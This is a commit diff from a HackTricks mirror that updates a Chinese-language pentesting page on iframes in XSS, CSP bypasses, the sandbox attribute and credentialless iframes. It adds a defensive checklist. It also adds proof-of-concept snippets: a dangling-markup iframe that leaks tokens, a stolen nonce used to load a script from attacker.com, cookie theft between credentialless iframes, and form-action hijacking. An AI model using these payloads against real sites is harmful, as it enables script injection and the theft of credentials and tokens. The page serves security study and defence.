mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-
This commit is contained in:
parent
f0e436a3b4
commit
3613ab9fa7
@ -4,11 +4,11 @@
|
||||
|
||||
## Iframes in XSS
|
||||
|
||||
有三种方式来指示一个 iframe 页面内容:
|
||||
有3种方式来指示iframe页面的内容:
|
||||
|
||||
- 通过 `src` 指定一个 URL(该 URL 可以是跨源或同源)
|
||||
- 通过 `src` 使用 `data:` 协议指示内容
|
||||
- 通过 `srcdoc` 指示内容
|
||||
- 通过`src`指示一个URL(该URL可以是跨源或同源)
|
||||
- 通过`src`使用`data:`协议指示内容
|
||||
- 通过`srcdoc`指示内容
|
||||
|
||||
**访问父变量和子变量**
|
||||
```html
|
||||
@ -45,7 +45,7 @@ var secret = "child secret"
|
||||
alert(parent.secret)
|
||||
</script>
|
||||
```
|
||||
如果您通过 HTTP 服务器(如 `python3 -m http.server`)访问之前的 HTML,您会注意到所有脚本都会被执行(因为没有 CSP 阻止它)。**父级将无法访问任何 iframe 内部的 `secret` 变量**,**只有 if2 和 if3(被视为同源)可以访问原始窗口中的 secret**。\
|
||||
如果您通过 HTTP 服务器(如 `python3 -m http.server`)访问之前的 HTML,您会注意到所有脚本都会被执行(因为没有 CSP 阻止它)。**父级将无法访问任何 iframe 内部的 `secret` 变量**,**只有 if2 和 if3(被视为同站)可以访问原始窗口中的 secret**。\
|
||||
请注意 if4 被认为具有 `null` 来源。
|
||||
|
||||
### 带 CSP 的 Iframes <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
@ -61,7 +61,7 @@ alert(parent.secret)
|
||||
<head>
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
|
||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
|
||||
</head>
|
||||
<script>
|
||||
var secret = "31337s3cr37t"
|
||||
@ -76,7 +76,7 @@ id="if4"
|
||||
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
||||
</html>
|
||||
```
|
||||
注意,**之前的 CSP 仅允许执行内联脚本**。\
|
||||
注意到**之前的 CSP 仅允许执行内联脚本**。\
|
||||
然而,**只有 `if1` 和 `if2` 脚本将被执行,但只有 `if1` 能够访问父级秘密**。
|
||||
|
||||
.png>)
|
||||
@ -103,7 +103,43 @@ return "<script>alert(document.cookie)</script>"
|
||||
if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
### 在野外发现的其他有效载荷 <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||||
#### 新的(2023-2025)CSP 绕过技术与 iframes
|
||||
|
||||
研究社区继续发现创造性的方法来利用 iframes 以击败限制性政策。以下是过去几年发布的最显著的技术:
|
||||
|
||||
* **悬挂标记 / 命名 iframe 数据外泄 (PortSwigger 2023)** – 当一个应用程序反射 HTML 但强 CSP 阻止脚本执行时,您仍然可以通过注入一个 *悬挂* `<iframe name>` 属性来泄露敏感令牌。一旦部分标记被解析,运行在不同源的攻击者脚本导航框架到 `about:blank` 并读取 `window.name`,此时包含了直到下一个引号字符的所有内容(例如 CSRF 令牌)。由于没有 JavaScript 在受害者上下文中运行,攻击通常会避开 `script-src 'none'`。一个最小的 PoC 是:
|
||||
|
||||
```html
|
||||
<!-- 在敏感 <script> 之前的注入点 -->
|
||||
<iframe name="//attacker.com/?"> <!-- 属性故意留空 -->
|
||||
````
|
||||
```javascript
|
||||
// attacker.com 框架
|
||||
const victim = window.frames[0];
|
||||
victim.location = 'about:blank';
|
||||
console.log(victim.name); // → 泄露的值
|
||||
```
|
||||
|
||||
* **通过同源 iframe 窃取 nonce (2024)** – CSP nonce 并未从 DOM 中移除;它们仅在 DevTools 中被隐藏。如果攻击者可以注入一个 *同源* iframe(例如通过上传 HTML 到网站),子框架可以简单地查询 `document.querySelector('[nonce]').nonce` 并创建新的 `<script nonce>` 节点以满足政策,从而在 `strict-dynamic` 的情况下实现完全的 JavaScript 执行。以下小工具将标记注入升级为 XSS:
|
||||
|
||||
```javascript
|
||||
const n = top.document.querySelector('[nonce]').nonce;
|
||||
const s = top.document.createElement('script');
|
||||
s.src = '//attacker.com/pwn.js';
|
||||
s.nonce = n;
|
||||
top.document.body.appendChild(s);
|
||||
```
|
||||
|
||||
* **表单操作劫持 (PortSwigger 2024)** – 一个省略 `form-action` 指令的页面可以通过注入的 iframe 或内联 HTML 将其登录表单 *重新定向*,使密码管理器自动填充并提交凭据到外部域,即使存在 `script-src 'none'`。始终用 `form-action` 补充 `default-src`!
|
||||
|
||||
**防御注意事项(快速检查清单)**
|
||||
|
||||
1. 始终发送 *所有* 控制次级上下文的 CSP 指令(`form-action`、`frame-src`、`child-src`、`object-src` 等)。
|
||||
2. 不要依赖 nonce 是秘密的——使用 `strict-dynamic` **并且** 消除注入点。
|
||||
3. 当您必须嵌入不受信任的文档时,**非常小心** 使用 `sandbox="allow-scripts allow-same-origin"`(如果您只需要脚本执行隔离,则不使用 `allow-same-origin`)。
|
||||
4. 考虑深度防御 COOP+COEP 部署;新的 `<iframe credentialless>` 属性(§ 下文)让您可以在不破坏第三方嵌入的情况下做到这一点。
|
||||
|
||||
### 在野外发现的其他有效载荷 <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
|
||||
```html
|
||||
<!-- This one requires the data: scheme to be allowed -->
|
||||
<iframe
|
||||
@ -117,31 +153,39 @@ src='data:text/html,<script defer="true" src="data:text/javascript,document.body
|
||||
```
|
||||
### Iframe sandbox
|
||||
|
||||
iframe 内的内容可以通过使用 `sandbox` 属性受到额外的限制。默认情况下,此属性不适用,这意味着没有限制。
|
||||
iframe中的内容可以通过使用`sandbox`属性受到额外限制。默认情况下,此属性不被应用,这意味着没有限制。
|
||||
|
||||
当使用时,`sandbox` 属性施加了几个限制:
|
||||
当使用时,`sandbox`属性施加了几个限制:
|
||||
|
||||
- 内容被视为来自一个独特的源。
|
||||
- 任何提交表单的尝试都被阻止。
|
||||
- 禁止执行脚本。
|
||||
- 禁用对某些 API 的访问。
|
||||
- 禁用对某些API的访问。
|
||||
- 防止链接与其他浏览上下文交互。
|
||||
- 不允许通过 `<embed>`、`<object>`、`<applet>` 或类似标签使用插件。
|
||||
- 不允许通过`<embed>`、`<object>`、`<applet>`或类似标签使用插件。
|
||||
- 防止内容自身导航到其顶级浏览上下文。
|
||||
- 自动触发的功能,如视频播放或表单控件的自动聚焦,被阻止。
|
||||
|
||||
属性的值可以留空(`sandbox=""`)以应用上述所有限制。或者,可以设置为一个以空格分隔的特定值列表,以使 iframe 免于某些限制。
|
||||
提示:现代浏览器支持细粒度标志,如`allow-scripts`、`allow-same-origin`、`allow-top-navigation-by-user-activation`、`allow-downloads-without-user-activation`等。将它们组合以仅授予嵌入应用所需的最低能力。
|
||||
|
||||
属性的值可以留空(`sandbox=""`)以应用上述所有限制。或者,可以设置为一个以空格分隔的特定值列表,以使iframe免于某些限制。
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
|
||||
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
|
||||
```
|
||||
### Credentialless iframes
|
||||
|
||||
正如在 [this article](https://blog.slonser.info/posts/make-self-xss-great-again/) 中所解释的,iframe 中的 `credentialless` 标志用于在不发送凭据的请求下加载页面,同时保持加载页面在 iframe 中的同源策略 (SOP)。
|
||||
正如在 [this article](https://blog.slonser.info/posts/make-self-xss-great-again/) 中所解释的,iframe 中的 `credentialless` 标志用于在不发送凭据的请求的情况下加载页面,同时保持 iframe 中加载页面的同源策略 (SOP)。
|
||||
|
||||
这允许 iframe 访问来自同一 SOP 中在父页面加载的另一个 iframe 的敏感信息:
|
||||
自 **Chrome 110 (2023年2月) 起,该功能默认启用**,并且该规范正在以 *anonymous iframe* 的名称在各个浏览器中标准化。MDN 将其描述为:“一种机制,用于在全新的、短暂的存储分区中加载第三方 iframe,以便不与真实来源共享任何 cookies、localStorage 或 IndexedDB”。对攻击者和防御者的影响:
|
||||
|
||||
* 不同的 credentialless iframes 中的脚本 **仍然共享相同的顶级来源**,并可以通过 DOM 自由交互,使多 iframe 自我 XSS 攻击成为可能(见下面的 PoC)。
|
||||
* 由于网络是 **去凭据化的**,iframe 内的任何请求实际上表现为未认证会话 – CSRF 保护的端点通常会失败,但通过 DOM 泄露的公共页面仍在范围内。
|
||||
* 从 credentialless iframe 生成的弹出窗口获得隐式的 `rel="noopener"`,破坏了一些 OAuth 流程。
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
// PoC: two same-origin credentialless iframes stealing cookies set by a third
|
||||
window.top[1].document.cookie = 'foo=bar'; // write
|
||||
alert(window.top[2].document.cookie); // read -> foo=bar
|
||||
```
|
||||
- 利用示例:Self-XSS + CSRF
|
||||
|
||||
@ -181,7 +225,7 @@ let arr = [minute, minute * 60, minute * 60 * 24, ...]
|
||||
for (let timeout of arr)
|
||||
fetchLater(req,{activateAfter: timeout})
|
||||
```
|
||||
## Iframes 在 SOP 中
|
||||
## Iframes in SOP
|
||||
|
||||
检查以下页面:
|
||||
|
||||
@ -201,4 +245,10 @@ fetchLater(req,{activateAfter: timeout})
|
||||
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [PortSwigger Research – Using form hijacking to bypass CSP (March 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
|
||||
* [Chrome Developers – Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user